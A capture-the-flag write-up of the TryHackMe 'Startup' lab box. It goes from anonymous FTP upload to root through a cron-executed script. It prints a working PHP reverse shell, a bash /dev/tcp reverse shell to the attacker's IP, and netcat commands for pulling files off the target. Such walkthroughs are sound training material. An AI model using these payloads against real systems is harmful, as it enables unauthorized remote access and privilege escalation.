THM: Startup
Intro⌗
THM: Startup is an easy Linux box that’s good for practicing enumeration. We will be attacking the systems of Spice Hut, a spicy new food startup company. It starts off with a misconfigured FTP service that allows anonymous read access as well as write access in a specific directory. We will abuse this to upload some PHP shell code that we can execute through the HTTP service to get our initial foothold. Once on the box, a bit of enumeration reveals a PCAP file labeled as a suspicious incident. After combing through this file we’ll find the password for an unprivileged user. From there, privesc is a straightforward manipulation of a shell script being executed by root on a cronjob.
Recon⌗
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Startup]
└─$ sudo rustscan -a 10.10.190.35 -- -sV -O -oA nmap1
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 5.4 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV
(Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 203.730 days (since Sun Jan 9 14:12:53 2022)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
So we have HTTP and FTP running. Let’s take a look at HTTP first.
It’s a plain webpage that doesn’t help us much, and there is nothing interesting in the HTML source either.
By running some basic content fuzzing we’ll find a /files
directory.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Startup]
└─$ ffuf -t 100 -u http://10.10.190.35/FUZZ -w /usr/share/wordlists/dirb/big.txt -c
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
files [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
It contains a notice.txt
file with a reference to someone named Maya, so that may be a potential username later?
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
Let’s switch over to the FTP service. Whenever you see FTP it’s always worth checking if anonymous access is allowed by connecting with the username anonymous
and an empty password.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Startup]
└─$ ftp -v 10.10.190.35
Connected to 10.10.190.35.
220 (vsFTPd 3.0.3)
Name (10.10.190.35:brian): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
This looks familiar… The FTP service’s root is the /files
directory.
But notice the permissions on the ftp
directory! We can write to it, which means we can try to upload a malicious file and get code execution.
Initial Foothold⌗
Since we know the HTTP server is Apache, we can guess that PHP may be enabled.
In another terminal window we can run echo "<?php phpinfo(); ?>" > info.php
to create a test file.
In FTP, cd ftp
to change to the ftp directory and send info.php
to upload the file.
Now we can see if it executes by going to http://10.10.190.35/files/ftp/info.php in a browser.
And it worked! Now, let’s make a shell payload.
┌──(brian㉿kali)-[~/…/hacks/tryhackme/Startup/exploit]
└─$ echo '<?php $sock=fsockopen("10.13.17.127",9001);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' > shell.php
After uploading it, we can run nc -nlvp 9001
in a terminal to start a listener and then can launch the shell by visiting http://10.10.190.35/files/ftp/shell.php.
┌──(brian㉿kali)-[~]
└─$ nc -nlvp 9001 1 ⨯
listening on [any] 9001 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.190.35] 39110
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@startup:/var/www/html/files/ftp$ ^Z
zsh: suspended nc -nlvp 9001
┌──(brian㉿kali)-[~]
└─$ stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -nlvp 9001
www-data@startup:/var/www/html/files/ftp$ export SHELL=bash
www-data@startup:/var/www/html/files/ftp$ export TERM=xterm
www-data@startup:/var/www/html/files/ftp$ stty rows 70 columns 111
User Flag⌗
Now it’s time to start exploring.
In the root directory there is a recipe.txt
file which is our first flag.
There is also an incidents/
user owned by our current user that contains a PCAP file.
Let’s transfer this back to ourselves to examine it. which nc
shows netcat is installed so we can use it to send the file.
In a local terminal run nc -nlvp 9001 > suspicious.pcapng
to open a listener that will write what it receives to a file. And on the target run nc [your THM VPN IP] 9001 < suspicious.pcapng
to send it.
Now that we have the file locally we can open it in Wireshark to see what’s so suspicious about it.
It takes a bit of time to look through the various traffic streams but filtering to tcp.stream eq 7
shows us the good stuff.
Someone had a shell on the box and running commands just like we’re doing now, only whoever it was had a password. They tried running sudo -l
as www-data
user and we can see the password in plaintext. Only it turns out that is the password for the user lennie
!
www-data@startup:/$ su lennie
Password:
lennie@startup:/$ id
uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)
lennie@startup:/$ cd /home/lennie
lennie@startup:~$ ls -la
total 20
drwx------ 4 lennie lennie 4096 Nov 12 2020 .
drwxr-xr-x 3 root root 4096 Nov 12 2020 ..
drwxr-xr-x 2 lennie lennie 4096 Nov 12 2020 Documents
drwxr-xr-x 2 root root 4096 Nov 12 2020 scripts
-rw-r--r-- 1 lennie lennie 38 Nov 12 2020 user.txt
lennie@startup:~$ wc -c user.txt
38 user.txt
Privilege Escalation⌗
Let’s look through the scripts
directory inside Lennie’s home directory.
lennie@startup:~/scripts$ ls -lah
total 16K
drwxr-xr-x 2 root root 4.0K Nov 12 2020 .
drwx------ 4 lennie lennie 4.0K Nov 12 2020 ..
-rwxr-xr-x 1 root root 77 Nov 12 2020 planner.sh
-rw-r--r-- 1 root root 1 Aug 8 13:13 startup_list.txt
This looks suspicious right away, as both files in this directory are owned by root and startup_list.txt
was modified within the past minute. If we wait another minute we’ll see it is updated again.
Looking into planner.sh
shows it is executing another script /etc/print.sh
.
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
Aaaand Lennie owns the print script!
lennie@startup:~/scripts$ ls -la /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh
So, now we can put all the pieces together assume that root must be running planner.sh
as a cronjob every minute since only they can write to startup_list.txt
. However, since planner.sh
also executes /etc/print.sh
which is within our control, we can insert a command to send ourselves a root shell!
echo '/bin/bash -i >& /dev/tcp/10.13.17.127/9001 0>&1' >> /etc/print.sh
Finally, we can open a listener and wait up to a minute for the script to run again.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Startup]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.190.35] 39128
bash: cannot set terminal process group (28961): Inappropriate ioctl for device
bash: no job control in this shell
root@startup:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@startup:~# cd /root
cwd /root
root@startup:~# wc -c root.txt
wc -c root.txt
38 root.txt
✅